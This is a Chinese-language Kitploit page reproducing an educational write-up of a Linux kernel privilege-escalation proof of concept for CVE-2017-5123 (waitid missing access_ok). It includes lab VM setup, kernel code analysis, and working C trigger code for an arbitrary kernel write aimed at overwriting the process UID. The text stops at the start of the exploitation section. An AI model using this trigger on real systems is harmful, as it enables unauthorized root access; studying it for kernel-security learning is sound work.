Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-5123 — PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR | Kitploit
工具/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
权限提升漏洞利用学习与教育二进制利用实验室与实践
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR

查看仓库
334116年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-5123

PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR

上游内核中的 waitid 实现未限制复制信息结果的目标位置。这可能允许本地用户写入原本受保护的内核内存,从而导致权限提升。

介绍

在这篇小文章中,我将分析一个允许我们获取 root 权限的内核漏洞。

本文分为四个部分:

  1. 虚拟机设置;
  2. 漏洞分析;
  3. 漏洞利用;
  4. PoC。

我想指出,有许多更好的方法来利用此 CVE(实际上,这只是一个用于学习内核的 PoC,不能用于 实际攻击),但我认为这种方法可以作为内核漏洞利用的入门。

虚拟机设置

内核编译

此漏洞是在 4c48abe91be0 中引入的,因此我们需要编译该版本的内核。

这可能有点棘手,因为这是一个旧版本,代码可能需要补丁。 我创建了一个仓库,其中包含已打补丁的内核代码和一个 .config 文件,你可以 克隆并编译。

git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

注意,此内核将使用 virtio 驱动编译,因此你可以使用 virtio 磁盘 在宿主机和虚拟机之间共享文件。

根文件系统设置

现在,我们将创建初始 rootfs:

qemu-img create -f raw hda.raw 10G
# 格式化磁盘为 ext4
mkfs.ext4 ./hda.raw 
# 为镜像创建挂载点
mkdir /tmp/mount1
# 挂载磁盘
sudo mount -o loop ./hda.raw /tmp/mount1

然后,我们需要安装一个基本的 Linux 发行版,例如使用 pacstrap 或 debootstrap。

sudo pacstrap /tmp/mount1 base base-devel vim

最后,我们可以修改系统:

# 添加一个 'test' 用户
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# 无密码
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# 我们可以挂载 virtio 磁盘,以便在宿主机和客户机之间共享文件
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# 拥有 sudo 权限很有用
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

如果一切正常,我们现在可以用 qemu 启动我们的测试系统:

qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

漏洞

CVE 的描述指出,在 waitid 系统调用期间存在不受限制的写入操作。

让我们打开 kernel/exit.c 并查看代码:

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

这个函数相当直接:经过几次检查后,多次调用 unsafe_put_user(...),然后函数返回。

该函数的主要部分由 unsafe_put_user(...) 函数组成,所以我们来看一下(arch/x86/include/asm/uaccess.h):

/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

注释中有一个 非常重要的警告:如果你想使用 unsafe_put/get_user,你应该先调用 access_ok(),并用 user_access_begin/end() 将它们包围起来。

如果我们看看前面的代码(waitid),会发现 access_ok() 从未被调用,因此系统调用 违反了 此 警告。

但这些宏是什么呢?

SMAP/SMEP

SMAP 和 SMEP 是内核引入的两个安全特性,旨在增加编写漏洞利用的难度。需要注意的是,这些特性由 CPU 强制执行。

SMEP 防止在 CPU 处于超级用户模式时 执行 用户空间代码;而 SMAP 则阻止对用户内存的 读/写 访问。

内核需要向用户内存写入/读取数据,这可以通过两种方式完成:

  1. 使用如 copy_from_user 等函数将内存复制到内核空间;
  2. 临时禁用 SMAP

正如我们在 unsafe_put_user 的定义中看到的,该函数只会将 x 的值复制到 ptr 指向的内存(如果出错则跳转到 err_label)。我们刚刚提到内核无法访问用户空间,因为 SMAP,这就是为什么这些函数应该被包裹在 user_access_begin/end() 之间。

#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

我们可以看到,user_access_begin/end 实际上就是 ASM 指令 stac 和 clac。

  • stac:“设置 EFLAGS 寄存器中的 AC 标志位。这可能会启用用户模式数据访问的对齐检查。即使 CR4 寄存器中设置了 SMAP 位,这也允许显式的超级用户模式数据访问到用户模式页面。”
  • clac:“清除 EFLAGS 寄存器中的 AC 标志位。这会禁用任何用户模式数据访问的对齐检查。如果 CR4 寄存器中设置了 SMAP 位,这会禁止显式的超级用户模式数据访问到用户模式页面。”

基本上,这两个宏用于启用/禁用 SMAP。

我们之前的“警告”还提到了 access_ok 函数:

/**
 * access_ok: - 检查用户空间指针是否有效
 * @type: 访问类型:%VERIFY_READ 或 %VERIFY_WRITE。注意
 *        %VERIFY_WRITE 是 %VERIFY_READ 的超集——如果可以安全
 *        地写入一个块,那么从中读取也总是安全的。
 * @addr: 要检查的块开始的用户空间指针
 * @size: 要检查的块的大小
 *
 * 上下文:仅用户上下文。如果启用了页面错误,此函数可能会休眠。
 *
 * 检查用户空间中指向内存块的指针是否有效。
 *
 * 如果内存块可能有效,则返回 true(非零),如果确定无效,则返回 false(零)。
 *
 * 注意,根据架构,此函数可能仅检查指针是否在用户空间范围内——调用此函数后,
 * 内存访问函数仍可能返回 -EFAULT。
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

这里的注释不言而喻:此宏检查指针是否是有效的 用户空间指针。

任意写入

让我们再看看 waitid 的代码:

	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

正如你已猜到的,缺少 access_ok() 导致可以 在内存中任意写入,因为 infop 指针完全由攻击者控制。

触发漏洞

很容易到达易受攻击的路径,我们可以用下面的简单代码创建一个 触发器:

int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Trying to overwrite 0x%016lx\r", where);
  //int pid = fork(); // 也可以使用 fork 系统调用
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // 我们需要等待线程
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

这段简单的代码将触发漏洞,并向 where 地址指向的内存写入数据。

如果需要,我们可以使用 gdb 检查这个触发器。例如,我们可以选择一个 任意 地址,并使用 trigger_bug 函数覆盖它。

漏洞利用

此漏洞有多种利用方式,但我更喜欢一种非常简单的方法。

请记住,我们可以写入我们想要的任何位置,但写入的数据是部分受控的。我们可以用 0 覆盖一个地址。

基本思想是覆盖我们进程的 UID 并成为 root,但我们首先需要了解 Linux 中的凭据是什么。

Fork

我们从研究 fork 系统调用开始。该函数用于创建新进程。

下载工具